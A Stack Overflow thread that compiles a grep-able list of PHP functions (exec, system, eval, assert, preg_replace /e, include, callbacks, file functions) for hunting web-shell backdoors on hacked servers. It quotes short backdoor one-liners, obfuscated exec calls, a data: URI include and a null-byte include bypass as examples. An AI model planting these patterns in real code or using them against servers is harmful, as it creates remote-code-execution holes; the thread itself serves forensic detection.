277

I'm trying to build a list of functions that can be used for arbitrary code execution. The purpose isn't to list functions that should be blacklisted or otherwise disallowed. Rather, I'd like to have a grep-able list of red-flag keywords handy when searching a compromised server for back-doors.

The idea is that if you want to build a multi-purpose malicious PHP script -- such as a "web shell" script like c99 or r57 -- you're going to have to use one or more of a relatively small set of functions somewhere in the file in order to allow the user to execute arbitrary code. Searching for those those functions helps you more quickly narrow down a haystack of tens-of-thousands of PHP files to a relatively small set of scripts that require closer examination.

Clearly, for example, any of the following would be considered malicious (or terrible coding):

<? eval($_GET['cmd']); ?>

<? system($_GET['cmd']); ?>

<? preg_replace('/.*/e',$_POST['code']); ?>

and so forth.

Searching through a compromised website the other day, I didn't notice a piece of malicious code because I didn't realize preg_replace could be made dangerous by the use of the /e flag (which, seriously? Why is that even there?). Are there any others that I missed?

Here's my list so far:

Shell Execute

  • system
  • exec
  • popen
  • backtick operator
  • pcntl_exec

PHP Execute

  • eval
  • preg_replace (with /e modifier)
  • create_function
  • include[_once] / require[_once] (see mario's answer for exploit details)

It might also be useful to have a list of functions that are capable of modifying files, but I imagine 99% of the time exploit code will contain at least one of the functions above. But if you have a list of all the functions capable of editing or outputting files, post it and I'll include it here. (And I'm not counting mysql_execute, since that's part of another class of exploit.)

rook
  • 66,304
  • 38
  • 162
  • 239
tylerl
  • 30,197
  • 13
  • 80
  • 113

23 Answers23

205

To build this list I used 2 sources. A Study In Scarlet and RATS. I have also added some of my own to the mix and people on this thread have helped out.

Edit: After posting this list I contacted the founder of RIPS and as of now this tools searches PHP code for the use of every function in this list.

Most of these function calls are classified as Sinks. When a tainted variable (like $_REQUEST) is passed to a sink function, then you have a vulnerability. Programs like RATS and RIPS use grep like functionality to identify all sinks in an application. This means that programmers should take extra care when using these functions, but if they where all banned then you wouldn't be able to get much done.

"With great power comes great responsibility."

--Stan Lee

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
`` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec     - Executes a program

PHP Code Execution

Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.

eval()
assert()  - identical to eval()
preg_replace('/.*/e',...) - /e does an eval() on the match
create_function()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']); $func->invoke(); or $func->invokeArgs(array());

List of functions which accept callbacks

These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.

Function                     => Position of callback arguments
'ob_start'                   =>  0,
'array_diff_uassoc'          => -1,
'array_diff_ukey'            => -1,
'array_filter'               =>  1,
'array_intersect_uassoc'     => -1,
'array_intersect_ukey'       => -1,
'array_map'                  =>  0,
'array_reduce'               =>  1,
'array_udiff_assoc'          => -1,
'array_udiff_uassoc'         => array(-1, -2),
'array_udiff'                => -1,
'array_uintersect_assoc'     => -1,
'array_uintersect_uassoc'    => array(-1, -2),
'array_uintersect'           => -1,
'array_walk_recursive'       =>  1,
'array_walk'                 =>  1,
'assert_options'             =>  1,
'uasort'                     =>  1,
'uksort'                     =>  1,
'usort'                      =>  1,
'preg_replace_callback'      =>  1,
'spl_autoload_register'      =>  0,
'iterator_apply'             =>  1,
'call_user_func'             =>  0,
'call_user_func_array'       =>  0,
'register_shutdown_function' =>  0,
'register_tick_function'     =>  0,
'set_error_handler'          =>  0,
'set_exception_handler'      =>  0,
'session_set_save_handler'   => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate'    => array(2, 3),
'sqlite_create_function'     =>  2,

Information Disclosure

Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo() it is definitely a vulnerability.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Other

extract - Opens the door for register_globals attacks (see study in scarlet).
parse_str -  works like extract if only one argument is given.  
putenv
ini_set
mail - has CRLF injection in the 3rd parameter, opens the door for spam. 
header - on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. 
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Filesystem Functions

According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow_url_fopen=On then a url can be used as a file path, so a call to copy($_GET['s'], $_GET['d']); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server.

// open filesystem handler
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
// write to filesystem (partially in combination with reading)
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng   - 2nd parameter is a path.
imagewbmp  - 2nd parameter is a path. 
image2wbmp - 2nd parameter is a path. 
imagejpeg  - 2nd parameter is a path.
imagexbm   - 2nd parameter is a path.
imagegif   - 2nd parameter is a path.
imagegd    - 2nd parameter is a path.
imagegd2   - 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
// read from filesystem
file_exists
file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
highlight_file
show_source
php_strip_whitespace
get_meta_tags
rook
  • 66,304
  • 38
  • 162
  • 239
  • 1
    Functions like popen are required for tools like pear/pecl to work. Keep that in mind. – The Pixel Developer Sep 15 '10 at 15:44
  • @Rook: Are you okay with other people extending this list? – NikiC Sep 17 '10 at 17:06
  • @nikic yes, totally. But I would like to review the changes, so leave a comment, and/or give details about the function. – rook Sep 17 '10 at 18:26
  • if you are considering create_function as harmful, think also about anonymous functions in php 5.3 – ts. Sep 18 '10 at 11:03
  • @ts I don't think this is exploitable because you cannot pass an object or a anonymous function as a taint ($_REQUEST[]) , thus preg_replace_callback() is not really a sink. However, variable functions are $_REQUEST['func_name']($_REQUEST['param']), which could be used to call exec('cat /etc/passwd'). create_function() accepts 2 strings, and you can pass strings and arrays as `$_REQUEST[]` variables. – rook Sep 18 '10 at 20:51
  • 37
    @whatnick Actually I don't see an appreciable difference between PHP and other web application languages. At the end of the day programmers need the ability to `eval()` code, to execute system commands, access a database, and read/write to files. This code can be influenced by an attacker, and that is a vulnerability. – rook Sep 19 '10 at 09:59
  • 8
    So many functions banned! Are you the host of my website by any chance? – Randy the Dev Sep 20 '10 at 18:20
  • 2
    @Andrew Dunn haha, no. If you banned all of these functions than no PHP application would work. Especially include(), require(), and the file system functions. – rook Sep 20 '10 at 18:31
  • 2
    @Rook : my thoughts exactly but these are for potential problems, not definite ones. If used correctly, none of these pose an immediate threat; but if they can be avoided they should be. – Geekster Sep 22 '10 at 13:55
  • 1
    @nikic Oah yes thank you, you should create a new section just for callbacks. (or i will) – rook Oct 31 '10 at 19:27
  • Added a list (though there probably are more.) I used a format with I need for my own purposes and that is most convenient if you want to use this list to really do something useful. But feel free to adjust it to a more readable format ;) – NikiC Nov 01 '10 at 16:55
  • @Mike C: It is simply a list with filesystem functions. There probably is nothing wrong if half of them ;) @Rook: Should the non-harmful functions like dirname or basename be removed? Or better keep them all instead of removing something potentially dangerous? – NikiC Nov 01 '10 at 20:02
  • @nikic and @Mike C You are right about the file system functions, they need to be addressed and any help will be welcome. And @nikic fantastic work, I gave you a couple of +1's for that, Enjoy :) – rook Nov 01 '10 at 21:41
  • dirname and basename are the only ones that stand out to me. – Mike C Nov 02 '10 at 03:59
  • @Rook: Thanks :) But why have you removed all the `f*` functions? I think that especially those can be misused. – NikiC Nov 02 '10 at 14:43
  • Some others to watch for: preg_filter (can be used like preg_match), curl_* (some of the options allow writing to files, for example), getcwd, getlastmod, getmygid, getmyinode, getmypid, getmyuid (all information disclosure), imagepng, imagegif (etc. allow writing to filesystem), ... – Mike C Nov 02 '10 at 17:42
  • @nikic the f* functions that i removed accept a file handle and there for cannot be influenced directly by an attacker. However, the functions that create the handle such as `fopen()` can be, and they remain. – rook Nov 02 '10 at 18:10
  • 3
    Imho `preg_match` with `e` is no harm. Manual says "Only preg_replace() uses this modifier; it is ignored by other PCRE functions." – NikiC Nov 05 '10 at 08:01
  • @nikic I have no idea how "obfuscating a function call" applies to taint/sink functions. I have edited the post. – rook Nov 05 '10 at 22:13
  • I changed the order, because neither variable variables nor Reflection can be used to execute arbitrary PHP code. They may be used to execute arbitrary functions. And that is more related to callbacks (which is calling functions) then to evaling PHP ;) – NikiC Nov 05 '10 at 22:17
  • 1
    Furthermore, why have you added "must first set assert_options(ASSERT_QUIET_EVAL, 1);"? I don't see how this relates to executing code over `assert`. This only disables error display while in an assert. – NikiC Nov 05 '10 at 22:24
  • @nikic If you can control the function name, then the attacker can specify any php function eval() or system(). If you can control the function name passed to the reflection class then you can also obtain remote php code execution via eval. In terms of ASSERT_QUIET_EVAL i will have to do some testing. Again I must stress that obfuscation has no relation to sink functions. – rook Nov 05 '10 at 23:12
  • @nikic assert is identical to eval, the assert_options() are meaningless. the docs for this function are terrible. – rook Nov 05 '10 at 23:16
  • @Rook: Yeah, I do know it's the same, I've added the function ^^. I simply was surprised that you said that you need `ASSERT_QUIET_EVAL` for that ;) -- Even though I think that variable functions and reflection have more in common with callbacks (as both execute functions, not code), it's your list, so if you think that the current version makes more sense... sorry for rearranging without asking. – NikiC Nov 06 '10 at 08:53
  • Rook, this is an incredible answer. Can I suggest though that you add to the very top of it in super bold something to the effect of: "this is not a list of 'banned' functions that you should never use, it is a list of functions that you should be very careful with when passing in user input from something like $_REQUEST"? I think it would clear that up a bit. – Shabbyrobe Jan 08 '11 at 01:02
  • @Shabbyrobe Thanks. A lot of them are banned functions by hosting companies. But if you banned them all then you can't get anything done. I think my comment about sinks addresses this concern, at least in my mind. – rook Jan 08 '11 at 02:07
  • 1
    @Rook: Are you okay with the filesystem functions being split into r, w, rw? Imho that helps to classify how dangerous they are. – NikiC Mar 26 '11 at 21:10
  • @nikic That is a great idea. Probably make an other category as well. – rook Mar 27 '11 at 21:56
  • @Rook: I split up into filesystem handler (for f* functions), writing and reading. I didn't create an extra read+write group, because it's sometimes hard to distinguish (as most functions will first read something before writing). Hopefully I didn't make a mistake in classifying. – NikiC Mar 28 '11 at 19:33
59

You'd have to scan for include($tmp) and require(HTTP_REFERER) and *_once as well. If an exploit script can write to a temporary file, it could just include that later. Basically a two-step eval.

And it's even possible to hide remote code with workarounds like:

 include("data:text/plain;base64,$_GET[code]");

Also, if your webserver has already been compromised you will not always see unencoded evil. Often the exploit shell is gzip-encoded. Think of include("zlib:script2.png.gz"); No eval here, still same effect.

Jordan S. Jones
  • 13,703
  • 5
  • 44
  • 49
mario
  • 144,265
  • 20
  • 237
  • 291
  • 1
    Depending on how PHP is configured, include can actually include code from arbitrary URLs. Something like include "http://example.com/code.phps"; I saw a compromised website that had been broken into using a combination of that feature and register_globals. – BlackAura Jun 25 '10 at 17:15
  • @BlackAura how did regiser_globals fit in to the attack? Is it something that could have been pulled off just as easily by using `$_GET[xyz]` as opposed to `$xyz`? Or was there something deeper to it? – tylerl Jun 25 '10 at 19:29
  • I'm not quite sure why it was done this way, but the website kept doing things like this: include($prefix . '/filename.php'); I think the idea was that you could move the core code outside the web root, by setting the $prefix variable in the config file. If the attacker sets that value to something like "http://example.com/code.phps?", PHP will include that remote file instead. Near as I can tell, a 'bot actually managed to break in using a generic exploit. Apparently, a lot of old PHP code made that mistake. Basically, NEVER let any user-submitted value anywhere near an include statement. – BlackAura Jun 26 '10 at 09:08
  • I think you can generalize this to includes that contain a ":" in the filename... except that the filename could be a variable, making it difficult to `grep` for. PHP -- what a disaster. – tylerl Jun 27 '10 at 21:32
  • +1, nice to know.. however is it possible to exploit if allow_url_include is set to off? php version is 5.2.13 – pinaki Sep 14 '10 at 07:52
  • 2
    `include` does not require parentheses; `include "…"` suffices. – Gumbo Sep 15 '10 at 08:40
48

This is not an answer per se, but here's something interesting:

$y = str_replace('z', 'e', 'zxzc');
$y("malicious code");

In the same spirit, call_user_func_array() can be used to execute obfuscated functions.

Aillyn
  • 23,354
  • 24
  • 59
  • 84
20

I'm surprised no one has mentioned echo and print as points of security exploitation.

Cross-Site Scripting (XSS) is a serious security exploit, because it's even more common than server-side code execution exploits.

Bill Karwin
  • 538,548
  • 86
  • 673
  • 828
  • That would be a vector that affects the client, not the server, technically. – damianb Mar 10 '12 at 14:12
  • @damianb: If a site uses Ajax, and I can cause arbitrary javascript to be evaluated in any user's session, I could cause a lot of mischief on the server. – Bill Karwin Mar 10 '12 at 17:56
  • "on the server" ....to clients connected; it does not affect the server backend. That falls under client-side exploits, such as cursorjacking, CSRF, header injection, and so on. It's dangerous, yes, but it falls under a different classification entirely. – damianb Mar 11 '12 at 18:17
19

i'd particularly want to add unserialize() to this list. It has had a long history of various vulnerabilities including arbitrary code execution, denial of service and memory information leakage. It should never be called on user-supplied data. Many of these vuls have been fixed in releases over the last dew years, but it still retains a couple of nasty vuls at the current time of writing.

For other information about dodgy php functions/usage look around the Hardened PHP Project and its advisories. Also the recent Month of PHP Security and 2007's Month of PHP Bugs projects

Also note that, by design, unserializing an object will cause the constructor and destructor functions to execute; another reason not to call it on user-supplied data.

Cheekysoft
  • 35,194
  • 20
  • 73
  • 86
  • I'm interested to hear more about the unserialize issue. Is this just a bug in the implementation, or is it a flaw in the design (i.e. can't be fixed)? Can you point me to more information about that issue in particular? – tylerl Jun 25 '10 at 19:27
  • For the arbitrary code execution and memory information leakage see Stefan's advisory at http://php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/ – Cheekysoft Jun 28 '10 at 12:51
  • The recent 5.2.14 release fixes yet another arbitrary code execution vulnerability in unserialize() http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2225 http://php.net/ChangeLog-5.php#5.2.14 – Cheekysoft Aug 10 '10 at 15:52
17

My VPS is set to disable the following functions:

root@vps [~]# grep disable_functions /usr/local/lib/php.ini
disable_functions = dl, exec, shell_exec, system, passthru, popen, pclose, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, pfsockopen, leak, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid

PHP has enough potentially destructible functions that your list might be too big to grep for. For example, PHP has chmod and chown, which could be used to simply deactivate a website.

EDIT: Perhaps you may want to build a bash script that searches for a file for an array of functions grouped by danger (functions that are bad, functions that are worse, functions that should never be used), and then calculate the relativity of danger that the file imposes into a percentage. Then output this to a tree of the directory with the percentages tagged next to each file, if greater than a threshold of say, 30% danger.

Josh
  • 141
  • 1
  • 6
15

Also be aware of the class of "interruption vulnerabilities" that allow arbitrary memory locations to be read and written!

These affect functions such as trim(), rtrim(), ltrim(), explode(), strchr(), strstr(), substr(), chunk_split(), strtok(), addcslashes(), str_repeat() and more. This is largely, but not exclusively, due to the call-time pass-by-reference feature of the language that has been deprecated for 10 years but not disabled.

Fore more info, see Stefan Esser’s talk about interruption vulnerabilities and other lower-level PHP issues at BlackHat USA 2009 Slides Paper

This paper/presentation also shows how dl() can be used to execute arbitrary system code.

Cheekysoft
  • 35,194
  • 20
  • 73
  • 86
  • 1
    Ouch. Well, I really thought that PHP was somewhat secure before I had a look at those slides... – NikiC Oct 31 '10 at 16:31
14

Plattform-specific, but also theoretical exec vectors:

  • dotnet_load()
  • new COM("WScript.Shell")
  • new Java("java.lang.Runtime")
  • event_new() - very eventually

And there are many more disguising methods:

  • proc_open is an alias for popen
  • call_user_func_array("exE".chr(99), array("/usr/bin/damage", "--all"));
  • file_put_contents("/cgi-bin/nextinvocation.cgi") && chmod(...)
  • PharData::setDefaultStub - some more work to examine code in .phar files
  • runkit_function_rename("exec", "innocent_name") or APD rename_function
mario
  • 144,265
  • 20
  • 237
  • 291
13

Apart from the eval language construct there is another function which allows arbitrary code execution: assert

assert('ex' . 'ec("kill --bill")');
NikiC
  • 100,734
  • 37
  • 191
  • 225
10

One source of interesting exploits has not been mentioned. PHP allows strings to have 0x00 bytes in them. Underlying (libc) functions treat this as the end of a string.

This allows for situations where (poorly implemented) sanity-checking in PHP can be fooled, e.g. in a situation like:

/// note: proof of principle code, don't use
$include = $_GET['file'];
if ( preg_match("/\\.php$/",$include) ) include($include);

This might include any file - not just those ending in .php - by calling script.php?file=somefile%00.php

So any function that will not obey PHP's string length may lead to some vulnerability.

mvds
  • 45,755
  • 8
  • 102
  • 111
9

What about dangerous syntactic elements?

The "variable variable" ($$var) will find a variable in the current scope by the name of $var. If used wrong, the remote user can modify or read any variable in the current scope. Basically a weaker eval.

Ex: you write some code $$uservar = 1;, then the remote user sets $uservar to "admin", causing $admin to be set to 1 in the current scope.

  • I see what you mean, but this looks like a different class of exploit. Is there a way you can execute arbitrary PHP code with this mechanism (without using any of the above functions)? Or can it only be abused for changing variable contents? If I'm missing something, I want to get it right. – tylerl Jun 25 '10 at 05:50
  • 6
    You can also use variable functions which will be impossible to work out without evaluating the script. For example: `$innocentFunc = 'exec'; $innocentFunc('activate skynet');`. – erisco Jun 25 '10 at 06:56
  • Also look out for reflection. – erisco Jun 25 '10 at 06:57
6

I guess you won't be able to really find all possible exploits by parsing your source files.

  • also if there are really great lists provided in here, you can miss a function which can be exploitet

  • there still could be "hidden" evil code like this

$myEvilRegex = base64_decode('Ly4qL2U=');

preg_replace($myEvilRegex, $_POST['code']);

  • you could now say, i simply extend my script to also match this

  • but then you will have that mayn "possibly evil code" which additionally is out of it's context

  • so to be (pseudo-)secure, you should really write good code and read all existing code yourself

Andreas Linden
  • 12,489
  • 7
  • 51
  • 67
5

Backtick Operator Backtick on php manual

opHASnoNAME
  • 20,224
  • 26
  • 98
  • 143
5

I know move_uploaded_file has been mentioned, but file uploading in general is very dangerous. Just the presence of $_FILES should raise some concern.

It's quite possible to embed PHP code into any type of file. Images can be especially vulnerable with text comments. The problem is particularly troublesome if the code accepts the extension found within the $_FILES data as-is.

For example, a user could upload a valid PNG file with embedded PHP code as "foo.php". If the script is particularly naive, it may actually copy the file as "/uploads/foo.php". If the server is configured to allow script execution in user upload directories (often the case, and a terrible oversight), then you instantly can run any arbitrary PHP code. (Even if the image is saved as .png, it might be possible to get the code to execute via other security flaws.)

A (non-exhaustive) list of things to check on uploads:

  • Make sure to analyze the contents to make sure the upload is the type it claims to be
  • Save the file with a known, safe file extension that will not ever be executed
  • Make sure PHP (and any other code execution) is disabled in user upload directories
Matthew
  • 47,584
  • 11
  • 86
  • 98
5

Let's add pcntl_signal and pcntl_alarm to the list.

With the help of those functions you can work around any set_time_limit restriction created int the php.ini or in the script.

This script for example will run for 10 seconds despite of set_time_limit(1);

(Credit goes to Sebastian Bergmanns tweet and gist:

<?php
declare(ticks = 1);

set_time_limit(1);

function foo() {
    for (;;) {}
}

class Invoker_TimeoutException extends RuntimeException {}

class Invoker
{
    public function invoke($callable, $timeout)
    {
        pcntl_signal(SIGALRM, function() { throw new Invoker_TimeoutException; }, TRUE);
        pcntl_alarm($timeout);
        call_user_func($callable);
    }
}

try {
    $invoker = new Invoker;
    $invoker->invoke('foo', 1);
} catch (Exception $e) {
    sleep(10);
    echo "Still running despite of the timelimit";
}
edorian
  • 38,542
  • 15
  • 125
  • 143
4

There are loads of PHP exploits which can be disabled by settings in the PHP.ini file. Obvious example is register_globals, but depending on settings it may also be possible to include or open files from remote machines via HTTP, which can be exploited if a program uses variable filenames for any of its include() or file handling functions.

PHP also allows variable function calling by adding () to the end of a variable name -- eg $myvariable(); will call the function name specified by the variable. This is exploitable; eg if an attacker can get the variable to contain the word 'eval', and can control the parameter, then he can do anything he wants, even though the program doesn't actually contain the eval() function.

Spudley
  • 166,037
  • 39
  • 233
  • 307
4

These functions can also have some nasty effects.

  • str_repeat()
  • unserialize()
  • register_tick_function()
  • register_shutdown_function()

The first two can exhaust all the available memory and the latter keep the exhaustion going...

Alix Axel
  • 151,645
  • 95
  • 393
  • 500
2

There was some discussion of this on security.stackexchange.com recently

functions that can be used for arbitrary code execution

Well that reduces the scope a little - but since 'print' can be used to inject javascript (and therefore steal sessions etc) its still somewhat arbitrary.

isn't to list functions that should be blacklisted or otherwise disallowed. Rather, I'd like to have a grep-able list

That's a sensible approach.

Do consider writing your own parser though - very soon you're going to find a grep based approach getting out of control (awk would be a bit better). Pretty soon you're also going to start wishing you'd implemented a whitelist too!

In addition to the obvious ones, I'd recommend flagging up anything which does an include with an argument of anything other than a string literal. Watch out for __autoload() too.

Community
  • 1
  • 1
symcbean
  • 47,736
  • 6
  • 59
  • 94
2

I fear my answer might be a bit too negative, but...

IMHO, every single function and method out there can be used for nefarious purposes. Think of it as a trickle-down effect of nefariousness: a variable gets assigned to a user or remote input, the variable is used in a function, the function return value used in a class property, the class property used in a file function, and so forth. Remember: a forged IP address or a man-in-the-middle attack can exploit your entire website.

Your best bet is to trace from beginning to end any possible user or remote input, starting with $_SERVER, $_GET, $_POST, $_FILE, $_COOKIE, include(some remote file) (if allow_url_fopen is on), all other functions/classes dealing with remote files, etc. You programatically build a stack-trace profile of each user- or remote-supplied value. This can be done programatically by getting all repeat instances of the assigned variable and functions or methods it's used in, then recursively compiling a list of all occurrences of those functions/methods, and so on. Examine it to ensure it first goes through the proper filtering and validating functions relative to all other functions it touches. This is of course a manual examination, otherwise you'll have a total number of case switches equal to the number of functions and methods in PHP (including user defined).

Alternatively for handling only user input, have a static controller class initialized at the beginning of all scripts which 1) validates and stores all user-supplied input values against a white-list of allowed purposes; 2) wipes that input source (ie $_SERVER = null). You can see where this gets a little Naziesque.

bob-the-destroyer
  • 3,164
  • 2
  • 23
  • 30
  • Yes of course, as with many programming languages, there's no end of ways to hide your evil deeds. However I think that misses the intention of what I was asking. *The scenario is something like this:* You're called to help after a website is hacked. The client will pay extra if you can secure his website before morning. The site contains 475 PHP files, and the useful forensic details have been destroyed -- you've got a huge haystack and a notoriously small needle... where do you start looking? *(My day job in a nutshell)* – tylerl Mar 27 '11 at 08:35
1

Here is a list of functions my provider disables for security purposes:

  • exec
  • dl
  • show_source
  • apache_note
  • apache_setenv
  • closelog
  • debugger_off
  • debugger_on
  • define_syslog_variables
  • escapeshellarg
  • escapeshellcmd
  • ini_restore
  • openlog
  • passthru
  • pclose
  • pcntl_exec
  • popen
  • proc_close
  • proc_get_status
  • proc_nice
  • proc_open
  • proc_terminate
  • shell_exec
  • syslog
  • system
  • url_exec
Vladislav Rastrusny
  • 29,378
  • 23
  • 95
  • 156
1

Most of attacks in the code use multiple access sources, or multiple steps to execute themselves. I would search not only for a code, or method having malicious code, but all methods, function executing or calling it. The best security would also include encoding and validating form data as it comes in and out.

Watch also out from defining system variables, they can afterwards be called from any function or method in the code.

Cninroh
  • 1,796
  • 2
  • 21
  • 37
0

Several buffer overflows were discovered using 4bit characters functions that interpret text. htmlentities() htmlspecialchars()

were at the top, a good defence is to use mb_convert_encoding() to convert to single encoding prior to interpretation.

ehime
  • 8,025
  • 14
  • 51
  • 110
0

You can find a continuously updated list of sensitive sinks (exploitable php functions) and their parameters in RIPS /config/sinks.php, a static source code analyser for vulnerabilities in PHP applications that also detects PHP backdoors.

PeeHaa
  • 71,436
  • 58
  • 190
  • 262
Reiners
  • 141
  • 1
  • 2